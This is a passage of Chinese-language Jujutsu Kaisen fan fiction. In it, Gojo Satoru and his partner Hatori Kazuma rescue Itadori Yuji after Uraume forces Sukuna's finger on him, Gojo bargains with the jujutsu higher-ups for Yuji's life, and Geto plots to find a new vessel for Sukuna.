二人对视片刻,五条悟仿佛才发现身边还有人在似的放松许多,甚至笑着伸手过来勾住羽取一真的肩膀。 “怎么了,在担心我吗?” 羽取一真点头,“嗯。”——想了下,他又补充一句,“悟如果不忍心下手,那就由我来杀死夏油杰。” 悟有同窗情谊,他没有。 他可以只是一个冷酷无情的天狼星鲨手。 “……噗。” 望着羽取一真那坚定无比的目光,幻视到黑豆柴的五条悟没忍住漏出一点笑声,使他的表情也不再似方才的冰冷与沉重。 “我没有说我下不了手。” 五条悟的语速很慢,但声音极稳,没有任何犹豫或不忍的情绪,“如果杰做了无可挽回的错事,他就需要为此付出相应的代价。” “而且……” 这次,他明显流露出了些许迟疑,似乎在考虑要不要告诉羽取一真。 羽取一真学着五条悟平时格外喜欢用的卖萌动作,朝他微微歪了点脑袋:“嗯?” “……咳,”五条悟果然被他逗得又笑了一声,“只是,我现在回想起来……一切都是有迹可循的,从我自以为我们在并肩作战开始。” 通往家的路灯一盏接一盏亮起,照着眼前这条曲折却平坦的路,也拉长了两道亲密并肩的影子。 两侧有高大的树木遮蔽,也有排列整齐的低矮灌木随道路延伸,在夜色下仅反衬出一种浓郁而幽深的墨绿,但并不令人觉得可怕。 “当时,我以为是杰的演技很好。现在想想,可能在那时候,他就是真的开始质疑咒术界与普通社会之间那不可调和的死结了吧。” “咒灵有强有弱,都是由普通人的负面情绪沉淀而生。低阶的咒灵自然很好对付,哪怕是辅助监督也能帮忙祓除。” “但强大的咒灵逐年都在增加,却要不会产生咒灵的术师疲于奔命,从那些咒灵手中救出那些可能并不会感激自己的普通人,直至在这场没有尽头的战斗里彻底倒下。” “曾经的杰始终秉持着强者需要庇护弱者的信条,却在高专的最后一年,开始质疑起术师是否有必要在这条道路上走到终点。只祓除咒灵的做法不过是扬汤止沸,还要让原本身为强者的术师死在与咒灵的战斗里——而那些咒灵,原本就源自于弱者的恶意。” 这些关于术师、咒灵与普通人之间的思考或许有几分道理,但解决方式也绝不可能是夏油杰如今坚持的[全人类的进化]。 更别提他通往这个目标所前行的道路上,无论牺牲多少无辜者都毫不在乎的态度。 羽取一真没有将这些话说出口,因为他清楚悟肯定也早已思考过这些。 “所以……我不认同他的做法。在新宿街头和他表演决裂时,他曾说[如果我能成为你,是否就不会有如此多的苦恼,那些荒诞的想法也会有些许可行性?]……大概,那也是他的真心话吧。” 五条悟仰起头,那双雾蓝苍瞳此刻同样黯淡下去,平静倒映着繁星闪烁的夜空。 即使在[六眼]的视野里,无论什么物体上都附着有太多、太细微的咒力残秽,连带那些永远无法停止接收的自动情报分析一道,好似无孔不入的瘴雾,飘荡在他能看见的每一处缝隙之中,塞满那颗不得不始终维持高耗能运转的大脑。 可纵使如此,五条悟也依然认为——今天晚上的星空,非常漂亮。 无论是热烈生长在乡野的花草,还是跃出无垠海面的鲸豚,亦或繁华都市的霓虹,都让他发自内心的觉得,非常漂亮。 “悟不会觉得一直祓除咒灵很辛苦吗?再加上教师和家主的事务……最近休假的时间变得越来越少。”他听到羽取一真开口,“如果哪天悟不想继续当咒术师了,我也支持。” 五条悟笑了。 并非是嘲弄的、讥讽的笑;也不是认命的、随波逐流的笑。 他只是为了心中这份纯粹的开心而感到喜悦,而当那双独一无二的苍瞳再看向羽取一真时,是坚定而明亮的,像独自在茫茫雪原上点燃庞大篝火的开拓者。 “不哦,我从来没有想过不当咒术师,救助他人也并非为了得到感激或报酬。” 五条悟用额头轻轻贴了下羽取一真的,好似在宽慰他的担忧——但与此同时,他每一个说出口的字都有力而笃定,亦如那颗见过再多死亡与人性黑暗也从未动摇过的、黄金般的赤子之心。 “这与我是不是[最强]无关,我只是想这么做,所以才愿意一直这么做。哪怕有时会感觉劳累,也不需要他人的理解与感谢才愿意继续坚持。” 如果做某件事需要理由,那又怎么能称得上是自愿呢,只不过是另一种或有形或无形的交易罢了。 羽取一真在难免担忧的同时,又心知这才是悟会做出的选择。 无论一周目或二周目,自第一次见到五条悟之初,这份始终坚定的强大便一如既往,足以令他无数次的怦然心动。 看见羽取一真的表情,五条悟忍不住又笑起来,索性再亲了亲自家这位总是在为他鸣不平的恋人,表示真的不用为他担心。 但五条悟知道,此刻的自己其实也非常高兴——能有这样一人始终站在他身边,毫无保留的心意相通,并肩前行也不必有任何顾忌。 “即使杰那套[进化全人类]的方法可行,我也不接受需要杀害无辜者的性命才能达到的所谓[理想]。” 说到这句话时,五条悟蹙起眉毛,显然十分怀疑夏油杰如今在践行的办法是否当真“可行”。 “被标记的绝不止津美纪一人,这也绝不可能是夏油杰他们计划的最后一步。” “我们要做好应对的准备了。” 繁星与皎月皆被阴云遮蔽,风雨欲来。 ……… 等到来年四月,伏黑惠入学咒术高专时,羽取一真也买了张新干线的车票,前往仙台的杉泽第三高中。 以防万一,两面宿傩的手指并没有继续放置在那所高中的百叶箱里,他这趟旅途的目标仅是为了找到上周目被虎杖倭助托付给他照看的少年,其名为—— “你是虎杖悠仁?” 有偏低的声音响起在这条夜间的道路上,喊住了刚从医院出来、打算走路回家的樱发少年。 “咦,啊,是我……请问,你是哪位?” 被喊住的虎杖悠仁困惑摸着脑袋转过身,看向叫住他的陌生人—— 在他面前的,是一位拥有梅红与纯白交错的奇怪发色、身穿袈裟的妹妹头少年。 第178章 这种发色和装扮的……呃, 看不出是男是女的矮个子,虎杖悠仁确信自己以前从来没有遇见过。 甚至感觉对方在大晚上喊住他,不会是什么好事。 虎杖悠仁单脚暗自发力, 身体重心随之转移——准备听这个古怪的家伙说完来意后就直接跑。 他的运动神经很好, 身体的天赋同样相当优秀;假如使出全力冲刺,五十米只需要三秒钟就能跨越。 虎杖悠仁在等着这个妹妹头和尚——里梅回答,但后者压根不打算与他多做交谈。 这条夜间的道路实在僻静,除去间隔一段距离便亮起的昏暗路灯外,四周早已没有行人的踪影,更是方便了里梅的动作。 她抬起手掌平举在嘴前, 好似拢了一团似散非散的雾。 虎杖悠仁虽然不明白里梅的这个举动意味着什么,但直觉已瞬间拉响刺耳的最高警报, 如同赛跑时的发令枪响那般, 令他不再迟疑地转身冲了出去! ——失败。 他感觉自己好像被一大块冰冷的、坚硬的空气冻在原地, 是比陷入泥沼还要更糟糕的情况, 连一根手指都难以挪动。 “……这到底怎么做到的?” 虎杖悠仁努力挣扎了几次,发现他全身仅剩头部还能勉强转动, 但更像是对方故意只将他的脑袋露在外面。 因为那个妹妹头和尚在吹出那一口气后,接着便不紧不慢走了过来,单手掐住他的脸,在强迫张口的同时——另一只手将一样辨不清是什么模样的东西强硬塞了进来。 还难吃得要命! 虎杖悠仁努力想把这个不知名的玩意吐出来, 但它却像一块遇水融化的肥皂, 瞬间就顺着喉咙流了进去,连吐的机会都不给他。 “我已经失去等待的耐心了。” 她始终没有透露自己的名字, 只说了这么一句。 而虎杖悠仁,已听不见这句语气冷漠的低语了。 当空气重新恢复流动之时,虎杖悠仁的面部与手腕已浮现漆黑的咒纹——好似将本人当作祭品, 却并非向高天原的神明呈上供奉,而是彻底献祭给了炼狱深处的恶鬼。 甚至连再度猛然睁开的眼睛,也化作四只,尽数对准眼前之人! “……是里梅吗!?” ——[诅咒之王]两面宿傩,顺利受肉。 羂索曾经透露的[宿傩容器]果然有效,里梅立刻恭谨单膝跪下,姿态谦卑,语气却喜悦至极。 “宿傩大人,我来接您了。” “没想到是你先苏醒啊,因为那个家伙?” 两面宿傩活动了下手脚,时隔千年之久,再度清晰感受到的肉丨体使他心情格外舒畅,想要立刻就大肆屠戮一场。 这个时代可到处都是女人和小孩的气味啊,真是太棒了,像蛆一样到处都是! “是,能适配我的躯体并不难寻,可宿傩大人并非任何渣滓都有受肉的资格。” 里梅对待两面宿傩的姿态依旧是相当恭敬的单膝跪地,自始至终都低垂着脑袋,没有分神去留意周边事物。 因此,她也没有注意到自背后破空而来的一柄短刃。 ——嗡! 两面宿傩却清晰感知到了这一道咒力气息的极速靠近,抬手便挥出一道无形的[解],与瞄准里梅脑袋甩来的刃尖悍然撞在一处。 在剧烈的震颤过后,那柄形状奇怪的短刃并没有被彻底切割成整齐的残骸,反而是空间在以极快的速度破碎又重组——连带着本该顺势斩开地面的[解],也好似就此消弭一般,见不到任何后续伤害。 那柄完好无损的短刃更是在空中短暂停滞之后,又似一道流星再度倒飞回去,直至被自路灯没有照亮的阴影处伸出的一只手接住,握紧。 “哦?” 两面宿傩发出一声饶有兴味的语气词。 术式是掌控空间的类型……不,还是说更倾向于破坏空间? 在两面宿傩的视野中,那道握着剑刃的身影不紧不慢,一步一步走入被路灯照亮的那片范围里——朝他望过来的黑瞳更是冷漠且恼怒,唯独没有半分对他的畏惧。 再仔细辨认,甚至连忌惮也不存在。 “你这家伙,竟敢偷袭……” 两面宿傩还没有开口,转过身的里梅先一步暴怒起来,翻手就要再吹出一道冰凝咒法。 这次,那柄握在对方手中的短刃来得更快,近乎在甩手间就飞至里梅的跟前,根本不给她施展术式的机会! 反应极快的两面宿傩再次试探性地挥出更多道[解],不仅其中一道与那柄短剑相撞,其余的无形之刃更是瞄准对方而去—— 然而,那些[解]同样没能留下半分痕迹。 倘若不是两面宿傩确定自己有输出咒力,倒显得是他自己竟然也会有术式施展失败的一天。 并非只针对触碰点有效,而是整片空间都因重置而被抹消了咒力吗! 使用虎杖悠仁身体的两面宿傩抬起五指,朝他咧嘴露出一个极具兴味的张狂笑容。 “有点意思。我要杀了你,作为品尝这个时代的第一道下酒菜。” 看出宿傩大人已经打算大战一场,不想成为干扰的里梅正要退下,却听到身后传来一句“你想用我的身体做什么?还给我!”。 不是宿傩大人会说出口的话! 里梅错愕转过头,却见到两面宿傩同样惊讶——其中一只手还掐在自己的喉咙上,“你为什么还能动?” “啊?这本来就是我的身体吧?话说快点还我。” 在旁人看来,这种宛若疯子在自言自语的场景只持续不过短短几秒;等到再下一个眨眼间,浮现在虎杖悠仁身上的咒纹便尽数褪去,连眼下两只多长出来的眼睛也再度闭拢,似乎是非自愿的陷入了沉睡。 “你竟然……” 里梅震惊看着眼前这个虎杖悠仁,无法理解他为何能将两面宿傩压制回去…! 但她来不及问出更多的话了,那柄剑刃根本没有放过她的打算,而这次可没有两面宿傩替她阻拦! 里梅果断反身后撤,在勉强躲开空间捕捉范围的同时使用咒力强化身体,转眼便消失无踪。 夜晚的街道再度恢复安静,徒留虎杖悠仁愣神半晌,难以想象刚才在他眼前究竟都发生了些什么离奇的场景。 那个妹妹头和尚好像叫里梅,给自己吃了个什么东西,害得他身体里莫名其妙多出一个人,紧接着好像又跟另一个出现的人打了起来,在这家伙狂妄说着要吃了对方时,终于反应过来的他赶紧夺回身体主动权…… 而现在,只剩下他和最后出现的那个人在了。 基于今夜太过混乱的遭遇,虎杖悠仁是带着几分谨慎看向不远处那位青年的——对方气场淡漠,身穿格外正式的黑底纹付羽织袴,两侧袖口有家纹,但他完全辨认不出含义。 至于样貌……虎杖悠仁在看到他的第一眼,心底就难以抑制地浮现出一股陌生却满含信赖的好感来。 咦,他和这个人曾经见过面吗? 虎杖悠仁格外茫然。 怎么看都感觉很眼熟……好像在杂志或者电视上看过……又或者是……等等,就差一点,就差一点他就能想起来了! “——啊,是羽取一真!” 脑海里灵光一闪,想起来的虎杖悠仁握拳喊出这个名字,就像终于用吸管嘬起喝空的奶茶底部最后一粒珍珠那样畅快! “………” 被准确喊出名字的羽取一真有点沉默,还是开口接道,“你好。” 和悟一样,他现在也体会到年少过于出名的结果了,走到哪好像都有人能一眼认出他。 连上周目只认识【加茂老师】的悠仁,这周目竟然也能一口喊出他的名字。 “嘿嘿……我好歹也听过不少歌啦,也很喜欢看电视。” 虎杖悠仁不好意思摸摸脑袋,第二句说出口的话就是表情格外期盼的“可不可以给我签个名?”。 羽取一真:“……可以。” ……这小子的心还真大,明明刚才连身体都不是他的了。 他将[业双]入鞘,但没有将这根乌棍收回物品栏,而是单手握着——既提防虎杖悠仁体内的那家伙再度出现,也能防范那个妹妹头和尚的突然袭击——然后用另一只手摸出怀里的手机,给悟打紧急求助电话。 羽取一真赶到学校时不算很晚,但认识他的同学说悠仁已经离开学校了。 他原本打算在当地酒店住一晚,第二天再早点过来找人;但就在羽取一真打算去最近的酒店订房时,忽然想起还有医院可以来试着碰碰运气。 上周目见到悠仁与他病重的爷爷是在六月份,而目前的时间点才刚过四月,羽取一真不太确定悠仁的爷爷此刻是否住在杉沢医院的301病房。 但变故竟然也提前发生了! 该说幸运还是不幸,赶过来的他没能来得及阻止敌人的动作,虎杖悠仁却好像可以占据身体的主导权。 “悟马上过来。” 羽取一真简单描述了下事情经过,并报上当前地址后,便挂断了电话,重新看向虎杖悠仁。 后者完全没有惹上大麻烦的自觉,眼睛还亮晶晶盯着羽取一真。 “是那个悟吗……” ——虎杖悠仁略作停顿,刻意用一种好似在分享惊天秘密的口吻,压低声音念出这个令人期待不已的名字,“五条悟?” 说到会和羽取一真在一起的“悟”,那肯定就是五条悟了没错吧! 没想到他能在今天晚上看见早已退隐多年的偶像耶! 虎杖悠仁开心得忍不住搓手手,既期待又兴奋。 羽取一真:“……嗯,就是那个五条悟。你等会可以找他要签名。” 悠仁这反应,还真是和初次见到他的乙骨忧太如出一辙。 虎杖悠仁举手欢呼:“好耶!” ——然而,他很快就要乐不出来了。 接到一真电话的五条悟匆匆赶到地方与他们碰面,在询问过虎杖悠仁遇袭前后的状况、又盯着他认真瞧了片刻后,以一种相当凝重的表情告知结果。 “是被两面宿傩受肉了啊,你。” 虎杖悠仁眨巴眨巴眼睛。 “……欸,那是谁?” 第179章 “两面宿傩就是你被强迫吃下去的那个诅咒喔, 千年前的诅咒之王。” 五条悟大致介绍完两面宿傩的生平后,向虎杖悠仁问出目前最关键的问题。 “你能和体内的那个宿傩互换吗?” 当前场景的展开对虎杖悠仁而言,实在太过诡谲。 先是他被一个年轻的妹妹头和尚找上门, 莫名其妙就将人禁锢在原地, 强硬逼他吃下去了所谓[两面宿傩的手指],害他脑海里多了个一直吵闹不休的家伙。 接着则是昔日的明星二人组之一时隔多年再度现身,用一柄奇怪的飞剑从妹妹头和尚手中救下了他——当然他也努力将身体的主导权夺回来啦。 而此刻,则是另一位出现的大明星在用一种极其熟稔的口吻聊起这些潜藏在普通人身边的灵异现象,语气就跟在说今天的菜有点淡能不能放点盐那样稀松平常。 他是想过五条悟和羽取一真再次组合出道,但不是这种出道法啊啊……! 虎杖悠仁感觉自己的世界观已经被冲击到摇摇欲坠, 口中还在下意识回应:“啊,嗯, 应该没问题。” “那就十秒吧, 十秒后换回来。” 五条悟简单做了个热身动作——身高腿长、比例绝佳的他在做一些体态舒展时, 更是显出一种落笔挥毫般的写意, 略宽松的黑衣外套搭配修身纯黑长裤,更是令这套流畅动作间的每一笔线条都勾勒得利落又矫健, 展现出一种极特殊的张力,又漂亮得令人挪不开眼。 至少,羽取一真完全挪不开眼。 他甚至特意站远了些,却是为了举起手机, 打开摄像模式。 “哈哈。” 注意到自家恋人举动的五条悟发出笑声, 是一种彻底成长为大人后的成熟与从容。 虎杖悠仁:“但是……” 他担心换出来的宿傩会伤害到他们…… “不用担心,”五条悟笑起来。 “我是最强的。” 还拥有着独属于强者的绝对自信。 ——下一刻, 攻击比声音更快地到来了。 散发着强烈不详气息的诅咒在放声大笑,转眼间便冲向站姿懒散、甚至是好整以暇等他接近般的五条悟——扑了个空。 两面宿傩反应极快,翻身调整姿势灵巧落地后的同时接一记[解]的无形挥击;倘若是普通的咒术师, 此刻已被那道极难察觉的刃斩切割成数块。 但五条悟仅是二指并拢抬起,甚至连半步也没有挪动,就抵挡住了这道借动作掩护下的骤然袭击。 与之前骤然消散的状况不同,对方的身边被散开的[解]切割出大量爪似的深痕,不远处的围墙亦随之坍塌一截。 又来一个能抵挡他术式的麻烦家伙? 念头在心里飞速掠过,两面宿傩已然一蹬地冲了上去,抬手就要以触碰到对方的状态下使出[捌]时——却被五条悟以更快的速度侧身探手抓住他的手腕,在借力旋身将他甩出去的同时,顺势扬手打出一记普通的咒力放出,让恰好腾空的两面宿傩避无可避。 砰! 两面宿傩被扔出去的惯性再加宛若炮击的外放咒力命中,整个人撞塌了另一截完好的围墙,纷落的碎石如同冰雹,砸在他这具已泛起剧烈疼痛的容器上。 体术技巧极高,咒力的使用时机也很精妙,包括对方的速度,是快得惊人吗?不太对…… 时隔千年的现世,如此棘手的家伙竟然接二连三出现在他面前。 “哈……真是见鬼了,咒术师啊。” 倒在碎石废墟里的两面宿傩发出声嗤笑,沸腾的战意却更加昂扬——他正要起身再来和五条悟打第二回合,却听到对方开口的低语。 “8、9、10。” 五条悟微笑着,依旧云淡风轻般的站在原地,浑身上下连刚才打斗时沾染的半粒灰尘也没有。 “差不多到时间了啊。” 他的话音刚落,两面宿傩的意识再度被强硬按了回去,好似一块无法浮起的石头逐渐坠向无光的深海,“该死……” 甚至连这个单词也没能说完,再度响起的声音已重新变得轻快,“怎么样!没事吧没事吧?” 是虎杖悠仁在说话。 五条悟这下是真惊讶了,“你竟然真的能控制,不可思议啊。”——他转身看向同样收起手机的羽取一真,“你特意赶来仙台,找的就是他吗?” 虎杖悠仁:“咦,也是特意来找我?” 和那个名叫里梅的妹妹头和尚一样吗?话说这个两面宿傩怎么还在他的脑海里骂,好吵啊。 “嗯,”羽取一真点头,“正好撞上这个意外。” “这样啊,”五条悟摸摸下巴,“有点难办哦,依照咒术规定,悠仁这种情况应该要被处以死刑的。” “哈!?”听到自己即将小命休矣,虎杖悠仁顿时大惊失色。 “不是我自己主动吃的也要被处死吗?” 他是受害者才对吧…… “诅咒就是这种危险的东西哦,何况你吃的还是危险中的危险,让千年前的诅咒之王苏醒了呢。” 五条悟板着脸一本正经科普完两面宿傩的危险性——例如在千年前的咒术全盛时代,术师集结了所有人力讨伐他却惨遭失败;例如在他死后作为咒物存续的“死蜡”,他们甚至无法销毁——直把虎杖悠仁说得满脸惊恐,才露出一个半安抚半坏心眼的笑来。 “不过呢,也不是完全没有办法。” “那……” 虎杖悠仁的眼睛刚亮起来,就被五条悟的指尖轻轻点在额头——些许注入的咒力便让他直截了当的昏迷过去。 “没想到会让两面宿傩复活,这可真是麻烦大了。” 五条悟接住虎杖悠仁软倒的身体,轻松将人扛在肩上,回头对羽取一真说道,“总监部那群人肯定会叫着要立刻处死他。” 已经被咒物受肉的虎杖悠仁,很难再将他平安无事的与身上那个极恶诅咒完全剥离开。 “即使悠仁能控制两面宿傩的意识也不行?”羽取一真问。 “对我来说是无所谓的,但坐在总监部里的可是一群怕死的老头啊,我猜他们百分之百就闹着要杀悠仁。” 五条悟知道虎杖香织的事情,也清楚羽取一真过来找虎杖悠仁,绝不是想看着这个孩子被陷害至绝境。 “不过,我刚才说的‘有办法’也不是骗人啦。” 在羽取一真正要开口[那我先去杀几个老头祭天]前,五条悟笑着冲他竖起拇指,从得意小悟变成了得意大悟。 “就交给我吧!” ……… “什么,两面宿傩的容器!?” “必须尽快处以死刑!” “你为何不当场祓除那个诅咒,五条!” 五条悟将虎杖悠仁带回来的当天,收到消息的总监部就炸开了锅,宛若一瓢水浇入热油里。 不仅他们私底下在议论纷纷,有几位已然忍不住高声质问起五条悟来。 “哎呀,用这种语气对着我说话,真的好吗?” 五条悟笑眯眯的开口,却立刻让整个会议室的人都跟着一窒。 “…………” 这话简直就是在明目张胆地说[忘记曾经刻在尸体旁的大犬座了吗],根本就是在用死亡的暴力威胁他们! 这几年确实不再有总监部的人员被暗杀,几乎要令他们忘记曾经盘桓在心头的莫大恐惧。 而此刻,五条悟只用一句话,就帮他们回忆起来了。 连声音也不自觉压低了回去。 “……即便如此,也不能弃所有普通人的身家性命于不顾。”其中一人开口,“为何要保他不死?” “我也没说不准执行死刑嘛,冷静一点。” 五条悟独自站在被障子门与烛火包围的会议室中央,却仅凭气势与三言两语便压制了所有人,让他们不得不采纳他的提议。 “反正都要执行死刑,不如先等他吸收了两面宿傩所有的手指再执行,如何?” ——满场死寂,坐在障子门后的这些人,其实根本不想答应五条悟的这个条件。 但他们也很清楚,别说那个神出鬼没、下手狠绝利落的天狼星杀手;就连愿意站在他们面前谈条件的五条悟,他们其实也没有能够制衡他的手段。 不如说,明明想要改革整个咒术界,眼下却还愿意和他们各退一步、商量着来的五条悟,已经是在照顾他们的面子,给个双方明面上都能接受的台阶下了。 良久之后,仅有一人开口——五条悟听出了他的声音,是京都高专的校长,乐岩寺嘉伸。 “在那之前,两面宿傩若是不受控的苏醒……” 对于这句疑问,五条悟自然没有任何异议。 “我会负责的。在那之前,虎杖悠仁就交给我看管。” “………” ——这场只有老头格外不情不愿的协商到此结束,早已知晓自己不受他们待见的五条悟转身便离开了这间压抑且沉闷的会议室,压根不在意那些藏在障子门后,隐隐流露出或忌惮或恶意的目光。 他拿出手机,第一时间打电话给羽取一真汇报好消息。 “很顺利,他们答应了哦!” 别看五条悟说的好像只是将立即执行死刑改为了死缓,但死刑的执行条件可是[等虎杖悠仁吸收完所有的手指再处死]。 重点是所有。 这意味着只要有一根手指没吃完,虎杖悠仁都能活下来——只要他还能控制自己的身体,没有被两面宿傩彻底占据。 “太好了。” 羽取一真多少也松了口气,“下次带一根手指给我藏起来。” 他其实更想试试自己吃[两面宿傩的手指]这个特级咒物会怎样,毕竟早前也有过把咒物当经验包吸收的经历;但听悟说它实在太过危险,如果身体资质难以承受它的诅咒,甚至会直接爆裂而亡。 总之就是吃下去的不确定性因素太多,悟也坚决不同意他这样冒险。 羽取一真只好遗憾的选择将它收进游戏物品栏里——至少也能杜绝被第二个人找到这根手指。 五条悟爽快应道:“好哦。” “悠仁答应了这个条件吗?”羽取一真又问道。 这些都是他们在虎杖悠仁昏迷的情况下讨论的,也不知道悟现在告诉他情况了没有。 “还没有啦,悠仁还在昏迷中呢。” 五条悟笑着说道,“不过,我总有种预感——悠仁会答应的。” “我从第一眼就能感觉出来,他是个好孩子啊。” ……… 与此同时。 里梅找到正独自坐在一座废弃小桥上的夏油杰,开口时甚至有几分咬牙切齿。 “计划根本就不是羂索说的那样,宿傩大人竟然会失去对于容器的主导权!” 夏油杰单脚踩在桥面的边缘,手肘撑着膝盖,似乎只是在欣赏身下这条静静流淌的溪水。 即使听到里梅的质疑,他也没有回头。 “所以,你已经找过虎杖悠仁了?羂索早就说过他体内已经封印了一根两面宿傩的手指,即使你不去找他,到[那个时刻]后也会自动解封。” “如果我这次没去找他,等到那时候岂不是已经迟了?”里梅面无表情道,“即使是羂索也没想到会是这种结果吧。” 本该苏醒的两面宿傩,竟然会被虎杖悠仁那个小子的意识彻底压制! “嗯,这确实是谁也没想到的事情。” 夏油杰终于转过脑袋看他,语气依旧不急不缓。 “不过,原定的计划在执行中出现意外这种事,本就是正常的。我们只需稍作修改就是了,也不必如此急切。” 里梅冷冰冰开口问他:“还有什么办法?” “比如……” 夏油杰沉吟片刻,朝他露出一个平静的、没有透出任何感情的微笑。 “我们可以换一个更合适的容器。” 第180章 “换一个容器?” 里梅眉心微蹙, 神色冷淡亦如她的冰属性咒术,“可不是任何人都能有资格成为宿傩大人的容器,你说换又能换成谁, 那个操控空间的家伙吗?” 相比战斗经验极其丰富的两面宿傩, 里梅看不出来羽取一真术式的本质,只能大概向夏油杰描述那晚的现象。 夏油杰倒是听出来了里梅指的是谁,但只是笑着摇了摇头。 “虽然我也觉得一真的术式很好用,但很遗憾,我们不能选择他。” 在里梅略疑惑的目光中,夏油杰举起手, 拇指与食指之间捏出些许缝隙。 “在学生时代,我和他互相拥有对方的一点小秘密。” 例如, 他见过羽取一真吃咒物却平安无事、只将它作为纯粹咒力吸收的场景。 能作为蕴含极强力量的死蜡流传至今, 这些咒物的平均等级无论如何也不可能会低到哪里去, 羽取一真既然能把那个咒物当维生素补剂似的一口吃掉, 夏油杰就不能去赌他是不是吃起两面宿傩的手指来,也跟吃巧克力棒没什么两样。 “所以呢, 你要选谁?” 里梅不在乎夏油杰到底和别人有没有小秘密,只是直白的、尖锐的向他追问道。 “当然是……” 夏油杰重新将目光投向波光粼粼的水面,望着那些被风吹皱的荡漾波纹。 但他的声音依旧平静且沉稳,好似并没有被任何情绪干扰心神, 也不会再有任何事物能动摇他早已立下的决意。 “有软肋能被我拿捏, 其力量又足以抗衡[无下限]术式的人。” 在通往[大义]的道路上,无论牺牲什么都是值得的。 ——无论什么。 ……… 东京都立咒术高等专门学校。 “所以, 我决定了!要来读这个什么……东京……” 只听五条悟念了一遍,虎杖悠仁复述得有点磕巴,“直接说咒术高专就好啦。”——五条悟笑眯眯提醒他。 “……这个东京咒术高专!” 虎杖悠仁从善如流跟着念完, 没什么犹豫就拍板决定他接下来要走的路。 “哪怕尽头是一条死路?” 五条悟讶然于他如此快的就接受了这一切。 “嗯,既然没办法让我的身体恢复过来,总得找到一条能够救助更多人的道路吧?何况,这么麻烦的诅咒也不能放着不管。” 虎杖悠仁的心情不算轻松,但也称不上过于沉重。 他总是擅长用更乐观且善意的目光看待这个世界——即使命运的发展往往并不令人如意,自己也不能先一步自暴自弃,像一根还没烧尽就提前熄灭的蜡烛。 “我啊,其实是我爷爷带大的,相当于爸爸妈妈那样的存在。” 虎杖悠仁坐在庭院的长椅上,五条悟则特意往后推迟原本要做的文书处理工作,坐在他身边安静陪伴着,听悠仁说起他自己的故事。 “只是,他后来得了肺癌,必须躺在医院里……在刚发现的早期阶段,他强硬地拒绝了副作用很强的激进治疗。” 虎杖悠仁双手交握,眼睛低垂着,好似在用目光细数球鞋上的针脚。 “我当时很难说具体有什么感想,只觉得死亡这种事情离我很遥远……哈哈,其实现在也是啊,虽然爷爷的病情已经逐渐加重,医生说他可能撑不到下半年了……但听着爷爷每天中气十足的跟我说话,我偶尔又会觉得很恍惚。” 初春的风仍旧冰凉,仿佛卷着湿润的水汽轻扑在人的肌肤上。 虎杖悠仁并没有用抱怨的口气说出他在人生中所遭遇的不幸,反而更令五条悟愈发沉默。 “…抱歉啊。” 在仅有微风吹拂的静谧气氛中,他叹着气低声开口,虎杖悠仁却眨眨眼,诧异朝五条悟望来。 “没事啦,五条老师……啊,我可以喊五条老师吧?总之就是不用道歉啦,这些事和五条老师又没什么关系!” 似乎是没想到自己说出口的事情竟然影响到了自己喜欢的五条老师的情绪,虎杖悠仁冲他笑出一个灿烂的活泼表情,活力满满。 “再说有老师帮忙,我肯定能活得比爷爷长啦!嗯,至少!” 五条悟:“………” 五条悟无语抬手,一巴掌扣在虎杖悠仁脑袋上,使劲来回揉搓:“你小子,瞎说什么呢!” 虽然他不好直接将这份私情说出口,但只要悠仁还能压制住两面宿傩的意识,他就不会让对方出事。 虎杖悠仁跟着不好意思笑起来,任由五条老师将他的脑袋揉乱成一个鸟窝。 “那我去和爷爷说一声哦,顺便办理从杉泽第三高中转学的手续。” 五条悟“嗯”了声,又补充道,“让一真陪你去,他正好也有点话想和你说。” 虎杖悠仁眼睛一亮,“好哦!” 正好他之前被五条老师打昏了,都没来得及收集羽取一真的签名呢! 按照五条老师给的地址,虎杖悠仁坐车来到一栋……宗教设施的门口? “欸,还以为会是另一所学校之类的地方,” 虎杖悠仁抓抓脑袋,只好随便抓住一个看上去面善的路过小哥,发动即使与陌生人交谈也能超级自来熟的社交技能。 “抱歉抱歉,请问羽取一真在哪里?五条老师让我过来找他,但这里看上去好大!” 都是同龄人,应该随随便便就能聊得来啦! 虎杖悠仁超乐观的想道。 反而是被拦住的乙骨忧太刚想出声询问,便又被这声五条老师小小惊了一跳——随即发现这位樱发少年的身上同样传来了极强烈的诅咒气息。 “你也被……诅咒了吗?” 乙骨忧太竖起食指,小声对他嘘了一下,“不要直接说出五条老师和羽取老师的关系,他们明面上是敌人。” 虎杖悠仁瞪大眼睛,立刻捂嘴点头表示自己绝不会再吐露半个字,而后才同样压低声音说道。 “差不多,我被两面宿傩受肉了,光听那家伙说话就很坏,还扬言一出来就要杀了五条老师……” “………” 他大概说了下自己这些天来的遭遇,令乙骨忧太越听越沉默,甚至在最后露出极为难以忍受的排斥。 “我不允许有人对五条老师不利,如果他想杀五条老师,我会在那之前先杀死他。” 乙骨忧太冷冰冰吐出这么一句,才又舒展眉眼,转身示意虎杖悠仁跟他过来。 “我是乙骨忧太,高专二年级生。” 虎杖悠仁赶紧跟上去,“啊,原来是我的学长!”——并立刻与他热络的聊起天来。 期间还不时为乙骨忧太说出的内容发出各种惊叹,诸如“什么,学校里竟然有会说话的熊猫”或者“咦,只靠饭团馅料也能成功交流吗”之类,情绪价值给满,让向来性格内敛的乙骨忧太都感觉和他聊得很开心。 至于两面宿傩开始在他脑海里冷嘲热讽区区一个小鬼竟也在此口出狂言的情况,虎杖悠仁干脆利落的无视掉了。 不听不听,王八念经。 虽然乙骨忧太能在假期时回来盘星教帮忙,但在大多数时间里,羽取一真还是得在白天过来坐镇,确保盘星教的整体运转没有出岔子。 “你好,我是虎杖悠仁!前几天多亏有羽取先生及时救我!” 此刻,羽取一真见到被乙骨忧太带进来的虎杖悠仁精神十足,也算是终于放心不少,起身来到他身边。 “悟给我打过电话了,我正要安排人去接你,没想到你自己就找了过来。” 羽取一真先和乙骨忧太打了个招呼,紧接着便让虎杖悠仁跟他去一个地方。 在那株被风吹得沙沙作响的茂盛榕树下,虎杖香织安静长眠于此。 而羽取一真,轻声对他讲述了一个关于羂索、虎杖香织、虎杖仁与他之间的故事——包含上周目听到的内容在内。 “所以,这真的是我的……” 虎杖悠仁回不过神,久久看着那几个刻在石碑上的字;他难以想象羽取一真之前来找他,竟然是为了告诉他关于自己双亲的事情。 “我很抱歉。”羽取一真开口。 “——不,没关系啦。” 虎杖悠仁眨了眨眼睛,抬手抹去险些溢出眼眶的泪水,冲羽取一真笑得轻快又明亮,像一轮刚跃出地平线的灿烂朝阳。 “真是的,羽取先生怎么跟五条老师一样喜欢和我说对不起,明明不是你们的错。” “嗯,知道我的双亲并不是抛弃了我这件事,让我感觉……轻松了很多。” 